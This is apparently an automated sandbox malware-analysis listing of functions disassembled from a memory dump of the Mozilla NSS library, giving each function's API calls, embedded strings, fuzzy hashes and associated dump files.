Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C67C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C67C890

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_GetCurrentThread.NSS3 ref: 6C67C8B2

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C67C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67C8EB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 7d0028efb9231d4b9fc36f0d45b261afb182516d63cd1934b942d5fdec37225c
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: ED010C66E011107BD72027B59C80AFF3E689F4635CF040935FD05A6B11F361881993FA

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(?,?,6C65E175), ref: 6C65E19C
Part of subcall function 6C65E190: PR_EnterMonitor.NSS3(6C65E175), ref: 6C65E1AA
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E208
Part of subcall function 6C65E190: PL_HashTableRemove.NSS3(?), ref: 6C65E219
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E231
Part of subcall function 6C65E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C65E249
Part of subcall function 6C65E190: PR_ExitMonitor.NSS3 ref: 6C65E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661E37
PR_ExitMonitor.NSS3 ref: 6C661E4A

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction ID: 336d6f5134f631bd6db140d43f6d62b7f6c21a30899e0cc9e51dc83962851440
Opcode Fuzzy Hash: 407bb42155e1bed84df560cc32d0f4947bc0f7eccef4f3f1bcf1965a347793b6
Instruction Fuzzy Hash: D0018FB1B0415197EB105F6AED08F4677A4AB52B48F240031E91997F91E731E826CB9E

Function 6C661D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C661D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C661D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C661D9C
free.MOZGLUE(00000000), ref: 6C661DB8

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction ID: 291279245eed0e5d3d0beaf54ecba8c835d70e7e17d352a5be8e1186c36a2266
Opcode Fuzzy Hash: e3b490690e3787221c4fdd208a72fb20d77e7eb2557f0fc878846638fc170c36
Instruction Fuzzy Hash: EEF0F9F260121067FB201F5BEC41B8736D8AB81798F100635ED1997F40D671E40482EF

Function 6C6AFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4
free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction ID: f66672d40333ece326dddc6aeec6d2846073debf6e95477de6f7f5a582ed189d
Opcode Fuzzy Hash: e33a47ee9181acbbf2bd5c46cba1eb7b4274f36b64e72e88fb32ecd3ecb28cb6
Instruction Fuzzy Hash: C5F0C8F16022026BEF015B95DD80927BBD8EF45399B148074ED098AB01E731DC16C7EB

Function 6C76CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C76CC61
free.MOZGLUE ref: 6C76CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C76CC80
free.MOZGLUE(?), ref: 6C76CC87

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction ID: b62cb622932d6d95cf8f28def52c6460da53ad28260737f1e9b06ffa0cecdd7c
Opcode Fuzzy Hash: b357d630eb135e3d4e1088945e24d0e385ea7fa21a82075120949cfa13205548
Instruction Fuzzy Hash: 82E03076700608ABCB10EFA8DC4488A77ACEE492723150565E691C3700D232F905CBA1

Function 6C649DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C649E1F

Part of subcall function 6C6013C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C601413
Part of subcall function 6C6013C0: memcpy.VCRUNTIME140(00000000,R#]l,00000002,?,?,?,?,6C5D2352,?,00000000,?,?), ref: 6C6014C0

Strings

ESCAPE expression must be a single character, xrefs: 6C649F78
LIKE or GLOB pattern too complex, xrefs: 6C64A006

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction ID: 6daa736bfc3cf47b36914c0c59b09f3e55145e153307c15362afad1d62db551a
Opcode Fuzzy Hash: fca0e4fcada1f7f83b2f8fdf1c96becc6ebc3b6829f3596cca71fe925e19985c
Instruction Fuzzy Hash: F1812B70A442558BD744CF29C2807EAB7F6AF8532CF28C659D8A98BB81D736D847C784

Function 6C6C5860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C6C59C8

Part of subcall function 6C6C7EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C6C7F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C6C59E9

Part of subcall function 6C6CAA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C6CAAA2

Strings

nvl, xrefs: 6C6C5963

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID: nvl
API String ID: 2619118453-2622381835
Opcode ID: 75ce2bea39c4ec768ab581bb9af973f5ed7c9265f773630b1097d53387db3268
Instruction ID: 03bb9edb81038ca0e63bf55f7fbb46f1844af664323880b1e9eefd3d93efbbc6
Opcode Fuzzy Hash: 75ce2bea39c4ec768ab581bb9af973f5ed7c9265f773630b1097d53387db3268
Instruction Fuzzy Hash: 1841B0B16083419FD710DF14DC81F9A73B8EB49328F054669FD599B682E730E908DBEA

Function 6C6A4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C6A4DE6

Strings

%d.%d, xrefs: 6C6A4DDE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction ID: f3073532db0d69003b4f21911bb83211dddbfb5cc3d21d2ed669e7ef13d2a519
Opcode Fuzzy Hash: b8c2afe6525a1acae62d6f1e1fbf7d4e661babb0bd20fc33e1848e4fcbf8c6d9
Instruction Fuzzy Hash: 5D31FCB2D042186BEB10ABE19C05BFF77A8DF45308F150469ED159B781EB709D06CBAA

Function 6C6C4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8ll,00000000,00000000,?,?,6C6C3827,?,00000000), ref: 6C6C4D0A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C6C4D22

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

Strings

'8ll, xrefs: 6C6C4D07

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8ll
API String ID: 1521942269-3147167083
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: e9c045571cb0dc53a02a19017d26fc9ed9119a401a2e55a1fbcf3640a8849614
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: FEF0687270112467DB10AE6A9C4077736DCDB417BDF141271DD18DB781E6B1EC018697

Function 6C6EAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6EAF78

Part of subcall function 6C64ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64ACE2
Part of subcall function 6C64ACC0: malloc.MOZGLUE(00000001), ref: 6C64ACEC
Part of subcall function 6C64ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C64AD02
Part of subcall function 6C64ACC0: TlsGetValue.KERNEL32 ref: 6C64AD3C
Part of subcall function 6C64ACC0: calloc.MOZGLUE(00000001,?), ref: 6C64AD8C
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64ADC0
Part of subcall function 6C64ACC0: PR_Unlock.NSS3 ref: 6C64AE8C
Part of subcall function 6C64ACC0: free.MOZGLUE(?), ref: 6C64AEAB

memcpy.VCRUNTIME140(6C7B3084,6C7B02AC,00000090), ref: 6C6EAF94

Strings

SSL, xrefs: 6C6EAF73

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
